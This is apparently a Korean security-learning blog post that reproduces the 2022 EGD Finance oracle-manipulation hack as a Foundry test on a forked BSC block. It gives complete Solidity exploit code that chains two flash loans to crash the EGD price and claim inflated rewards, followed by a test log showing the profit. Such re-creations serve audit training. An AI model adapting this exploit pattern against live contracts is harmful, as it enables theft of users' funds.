오딧 콘테스트에 참여하는 것은 코드의 취약점을 찾는 실력을 길러준다. 이와 반대로 이미 해킹이 발생한 프로젝트의 사례를 재구현 해보는 것도 많은 도움이 된다. 결국 오딧 자체가 해킹을 사전에 방지하기 위함이고, 이를 위해서는 과거에 어떤 사례들이 있었는지 알고 있어야 하기 때문이다. 재구현 하는 과정에서 해커의 입장에서 생각해볼 수도 있고, 지금까지와는 다른 사고방식을 배울 수 있을 것이다.
이번에 재구현 해 볼 공격은 오라클 공격이다. 대체적으로 두 가지 방법을 통해 공격한다. 첫 번째는 오라클 주소를 바꾸는 것이다. 원래는 owner
또는 admin
만 주소를 변경할 수 있게 컨트랙트를 작성하는 것이 정석이다. 하지만 verification 절차가 빠져있는 경우를 노리고 공격을 하는 케이스다. 두 번째는 flash loan을 통해서 공격을 하는 것이다. 해커가 매우 큰 금액을 빌리고 공격할 페어에 유동성을 넣어 불균형을 만들어 낸다. 이는 다른 거래소와 완전히 다른 가격을 초래하고 이를 이용해 해커는 이득을 취한다. 이러한 취약점을 방지하기 위해 오라클에서 실시간으로 가격을 가져오는 것이 아니라 time-weighted average price
를 기준으로 토큰의 가격을 결정한다.
만약 해킹이 발생했다면 제일 먼저 무엇을 해야할까? 정답은 정보를 모으는 것이다. 크립토 프로젝트의 경우 대부분 트위터 계정이 있기 때문에 해킹 소식은 트위터를 통해서 알게 되는 경우가 많다. 해킹 소식을 접하면 프로젝트 측 또는 보안 회사 쪽에서 트윗을 날릴거다. 이후 다음과 같은 정보를 수집하면 빠르고 정확하게 사태를 파악할 수 있을 것이다.
- Transaction ID
- Attacker Address(EOA)
- Attack Contract Address
- Vulnerable Address
- Total Loss
- Reference Links
- Post-mortem Links
- Vulnerable snippet
- Audit History
정보를 취합했다면 그 다음은 해당 트랜잭션을 분석해야 한다. 실제 사례인 EGD_Finance의 해킹 트랜잭션을 Phalcon으로 살펴보자.
해커는 함수를 호출해서 공격을 한다. 함수를 호출하는 경우는 3가지 종류로 나뉜다.
- Call : 일반적인 함수 호출. 호출 받은 쪽의
storage
가 변경된다.- StaticCall : 호출 받은 쪽의
storage
가 변경되지 않는다.- DelegateCall : 주로 proxy에서 사용되는 호출 방법이다.
조금 더 부연 설명을 하자면, StaticCall은 pure
나 view
함수를 호출해서 storage
가 변경되지 않는 호출을 말하고 DelegateCall은 non-pure
나 non-view
함수를 호출한다. 이 때 DelegateCall은 proxy를 사용하기 때문에 Logic contract(C)가 아닌 Proxy contract(B)의 storage
를 변경한다는 특징이 있다. 따라서 Contract C에서 delegatecall을 받을 경우, 변수나 msg.sender
의 값은 Contract B를 기준으로 한다. 자세한 설명은 아래 그림을 참고하자.
전체적인 흐름을 살펴보자. 해커는 먼저 공격하기 전에 해당 공격이 유효한지 검증한다. loan을 실행할 수 있는 상황인지, 공격할 페어에 충분한 유동성이 있는지 등을 확인한다.
이후 DEX의 swap()
또는 flashloan()
함수를 이용해 flashloan을 실행한다. 그 다음 callback 함수(pancakecall()
)가 실행되면 해커는 DEX의 취약점을 공격해서 이득을 취하고 대출을 상환한다.
이제 테스트 코드를 통해 재구현 해보자. 테스트 코드를 작성하기 전에 위쪽에 정보들을 정리 해두면 보기 편하다. 이후 각 주소들을 constant로 선언해서 변수에 담아준다.
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.17;
import "forge-std/Test.sol";
import "./interface.sol";
// @KeyInfo - Total Lost : ~36,044 US$
// Attacker : 0xee0221d76504aec40f63ad7e36855eebf5ea5edd
// Attack Contract : 0xc30808d9373093fbfcec9e026457c6a9dab706a7
// Vulnerable Contract : 0x34bd6dba456bc31c2b3393e499fa10bed32a9370 (Proxy)
// Vulnerable Contract : 0x93c175439726797dcee24d08e4ac9164e88e7aee (Logic)
// Attack Tx : https://bscscan.com/tx/0x50da0b1b6e34bce59769157df769eb45fa11efc7d0e292900d6b0a86ae66a2b3
// @Info
// Vulnerable Contract Code : https://bscscan.com/address/0x93c175439726797dcee24d08e4ac9164e88e7aee#code#F1#L254
// Stake Tx : https://bscscan.com/tx/0x4a66d01a017158ff38d6a88db98ba78435c606be57ca6df36033db4d9514f9f8
// @Analysis
// Blocksec : https://twitter.com/BlockSecTeam/status/1556483435388350464
// PeckShield : https://twitter.com/PeckShieldAlert/status/1556486817406283776
// Declaring a global variable must be of constant type.
CheatCodes constant cheat = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
IPancakePair constant USDT_WBNB_LPPool = IPancakePair(0x16b9a82891338f9bA80E2D6970FddA79D1eb0daE);
IPancakePair constant EGD_USDT_LPPool = IPancakePair(0xa361433E409Adac1f87CDF133127585F8a93c67d);
IPancakeRouter constant pancakeRouter = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));
address constant EGD_Finance = 0x34Bd6Dba456Bc31c2b3393e499fa10bED32a9370;
address constant usdt = 0x55d398326f99059fF775485246999027B3197955;
address constant egd = 0x202b233735bF743FA31abb8f71e641970161bF98;
contract Attacker is Test { // simulated attacker(EOA)
Exploit exploit = new Exploit();
constructor() { // can also be replaced with ‘function setUp() public {}
// Labels can be used to tag wallet addresses, making them more readable when using the 'forge test -vvvv' command."
cheat.label(address(USDT_WBNB_LPPool), "USDT_WBNB_LPPool");
cheat.label(address(EGD_USDT_LPPool), "EGD_USDT_LPPool");
cheat.label(address(pancakeRouter), "pancakeRouter");
cheat.label(EGD_Finance, "EGD_Finance");
cheat.label(usdt, "USDT");
cheat.label(egd, "EGD");
/* ------------------------------------------------------------------------------------------- */
cheat.roll(20245539); //Note: The attack transaction must be forked from the previous block, as the victim contract state has not yet been modified at this time.
console.log("-------------------------------- Start Exploit ----------------------------------");
}
}
공격하는 코드를 작성하기 전에 각 주소별로 labeling을 해두고, 공격받기 전의 블록을 fork 해준다.
contract Attacker is Test { // simulated attacker(EOA)
Exploit exploit = new Exploit();
constructor() {
//..
console.log("-------------------------------- Start Exploit ----------------------------------");
}
function testExploit() public { // To be executed by Foundry testcases, it must be named "test" at the start.
//To observe the changes in the balance, print out the balance first, before attacking.
emit log_named_decimal_uint("[Start] Attacker USDT Balance", IERC20(usdt).balanceOf(address(this)), 18);
emit log_named_decimal_uint("[INFO] EGD/USDT Price before price manipulation", IEGD_Finance(EGD_Finance).getEGDPrice(), 18);
emit log_named_decimal_uint("[INFO] Current earned reward (EGD token)", IEGD_Finance(EGD_Finance).calculateAll(address(exploit)), 18);
console.log("Attacker manipulating price oracle of EGD Finance...");
exploit.harvest(); //A simulation of an EOA call attack
console.log("-------------------------------- End Exploit ----------------------------------");
emit log_named_decimal_uint("[End] Attacker USDT Balance", IERC20(usdt).balanceOf(address(this)), 18);
}
}
/* -------------------- Interface -------------------- */
interface IEGD_Finance {
function calculateAll(address addr) external view returns (uint);
}
공격하기 전의 토큰 balance를 확인해주고 해커가 만든 컨트랙트의 harvest
함수를 호출해서 공격을 시도한다.
/* Contract 0x93c175439726797dcee24d08e4ac9164e88e7aee */
contract Exploit is Test{ // attack contract
uint256 borrow1;
function harvest() public {
console.log("Flashloan[1] : borrow 2,000 USDT from USDT/WBNB LPPool reserve");
borrow1 = 2000 * 1e18;
USDT_WBNB_LPPool.swap(borrow1, 0, address(this), "0000");
console.log("Flashloan[1] payback success");
IERC20(usdt).transfer(msg.sender, IERC20(usdt).balanceOf(address(this)));
}
function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) public {
console.log("Flashloan[1] received");
// Weakness exploit...
// Exchange the stolen EGD Token for USDT
console.log("Swap the profit...");
address[] memory path = new address[](2);
path[0] = egd;
path[1] = usdt;
IERC20(egd).approve(address(pancakeRouter), type(uint256).max);
pancakeRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(
IERC20(egd).balanceOf(address(this)),
1,
path,
address(this),
block.timestamp
);
bool suc = IERC20(usdt).transfer(address(USDT_WBNB_LPPool), 2010 * 10e18); //Attacker repays 2,000 USDT + 0.5% service fee
require(suc, "Flashloan[1] payback failed");
}
}
공격 함수는 위와 같다. 현재는 어떻게 구체적인 exlpoit 방법을 모르기 때문에 해당 부분을 비워두고 Phalcon에서 확인한 것을 바탕으로 나머지 부분을 작성한다.
callback 함수 부분을 자세히 살펴보면 한 번 더 callback 함수가 호출되는 것을 볼 수 있다. 왜 두 번이나 호출됐을까? flashloan을 한 번이 아니라 두 번 했다고 볼 수 있다.
첫 번째 callback 함수와 두 번째의 차이점은 data
파라미터에 입력되는 값이다. 첫 번째에는 0x0000
이 들어갔지만 두 번째에는 0x00
이 들어갔다. 이렇게 하면 어떤 callback 함수에 어떤 코드를 실행시킬지 해커가 정할 수 있게된다.
두 번째 callback 함수에서 해커는 claimAllReward()
를 호출한다.
이를 자세히 살펴보면, 0xa361-Cake-LP
의 보유량을 확인하는 것을 알 수 있다. 주소를 클릭해보면 LP pool이 어떤 토큰으로 이루어져있는지 확인할 수 있다.
해당 LP pool은 EGD/UDST
페어다. 이제 claimAllReward()
코드를 보자.
reward의 계산식에 getEGDPrice()
가 관여한다. 여기서 물음표가 떠야 한다. reward 양을 토큰 가격이 결정한다? 해커는 이를 이용해 이득을 취할 수 있다. 예를 들어, EGD 가격이 급격히 하락하면 reward는 평소보다 훨씬 많은 양으로 계산된다.
getEGDPrice()
는 단순히 x * y = k
공식에 따라 결정된다. 결국 오라클 공격이 가능해지고, 해커는 해당 취약점을 공격한 것이다.
EGD/UDST
페어에서 많은 양의 USDT를 빌려가면 EGD의 가격은 급격히 하락한다. 이 때 claimAllReward()
를 호출하면 평소보다 훨씬 많은 리워드를 받게 된다. 해커는 리워드로 받은 EGD 토큰을 USDT로 바꾸고, 대출을 갚고 남은 USDT를 가져간 것이다.
해커가 어떻게 자금을 탈취했는지 알았으니 이를 코드에 추가해보자.
/* Contract 0x93c175439726797dcee24d08e4ac9164e88e7aee */
contract Exploit is Test{ // attack contract
uint256 borrow1;
uint256 borrow2;
function harvest() public {
console.log("Flashloan[1] : borrow 2,000 USDT from USDT/WBNB LPPool reserve");
borrow1 = 2000 * 1e18;
USDT_WBNB_LPPool.swap(borrow1, 0, address(this), "0000");
console.log("Flashloan[1] payback success");
IERC20(usdt).transfer(msg.sender, IERC20(usdt).balanceOf(address(this))); //Gaining profit
}
function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) public {
console.log("Flashloan[1] received");
if(keccak256(data) == keccak256("0000")) {
console.log("Flashloan[1] received");
console.log("Flashloan[2] : borrow 99.99999925% USDT of EGD/USDT LPPool reserve");
borrow2 = IERC20(usdt).balanceOf(address(EGD_USDT_LPPool)) * 9999999925 / 10000000000; //The attacker lends 99.99999925% of the USDT liquidity of the EGD_USDT_LPPool.
EGD_USDT_LPPool.swap(0, borrow2, address(this), "00"); // Borrow Flashloan[2]
console.log("Flashloan[2] payback success");
// Exchange the stolen EGD Token for USDT after the exploit is over.
console.log("Swap the profit...");
address[] memory path = new address[](2);
path[0] = egd;
path[1] = usdt;
IERC20(egd).approve(address(pancakeRouter), type(uint256).max);
pancakeRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(
IERC20(egd).balanceOf(address(this)),
1,
path,
address(this),
block.timestamp
);
bool suc = IERC20(usdt).transfer(address(USDT_WBNB_LPPool), 2010 * 10e18); //The attacker repays 2,000 USDT + 0.5% service fee.
require(suc, "Flashloan[1] payback failed");
} else {
console.log("Flashloan[2] received");
emit log_named_decimal_uint("[INFO] EGD/USDT Price after price manipulation", IEGD_Finance(EGD_Finance).getEGDPrice(), 18);
// -----------------------------------------------------------------
console.log("Claim all EGD Token reward from EGD Finance contract");
IEGD_Finance(EGD_Finance).claimAllReward();
emit log_named_decimal_uint("[INFO] Get reward (EGD token)", IERC20(egd).balanceOf(address(this)), 18);
// -----------------------------------------------------------------
uint256 swapfee = amount1 * 3 / 1000; // Attacker pay 0.3% fee to Pancakeswap
bool suc = IERC20(usdt).transfer(address(EGD_USDT_LPPool), amount1+swapfee);
require(suc, "Flashloan[2] payback failed");
}
}
}
/* -------------------- Interface -------------------- */
interface IEGD_Finance {
function calculateAll(address addr) external view returns (uint);
function claimAllReward() external;
function getEGDPrice() external view returns (uint);
}
forge test --contracts ./src/test/EGD-Finance.exp.sol -vvv
테스트를 해주고 똑같이 결과가 나오면 끝!
Running 1 test for src/test/EGD-Finance.exp.sol:Attacker
[PASS] testExploit() (gas: 537204)
Logs:
-------------------- Pre-work, stake 10 USDT to EGD Finance --------------------
Tx: 0x4a66d01a017158ff38d6a88db98ba78435c606be57ca6df36033db4d9514f9f8
Attacker Stake 10 USDT to EGD Finance
-------------------------------- Start Exploit ----------------------------------
[Start] Attacker USDT Balance: 0.000000000000000000
[INFO] EGD/USDT Price before price manipulation: 0.008096310933284567
[INFO] Current earned reward (EGD token): 0.000341874999999972
Attacker manipulating price oracle of EGD Finance...
Flashloan[1] : borrow 2,000 USDT from USDT/WBNB LPPool reserve
Flashloan[1] received
Flashloan[2] : borrow 99.99999925% USDT of EGD/USDT LPPool reserve
Flashloan[2] received
[INFO] EGD/USDT Price after price manipulation: 0.000000000060722331
Claim all EGD Token reward from EGD Finance contract
[INFO] Get reward (EGD token): 5630136.300267721935770000
Flashloan[2] payback success
Swap the profit...
Flashloan[1] payback success
-------------------------------- End Exploit ----------------------------------
[End] Attacker USDT Balance: 18062.915446991996902763
Test result: ok. 1 passed; 0 failed; finished in 1.66s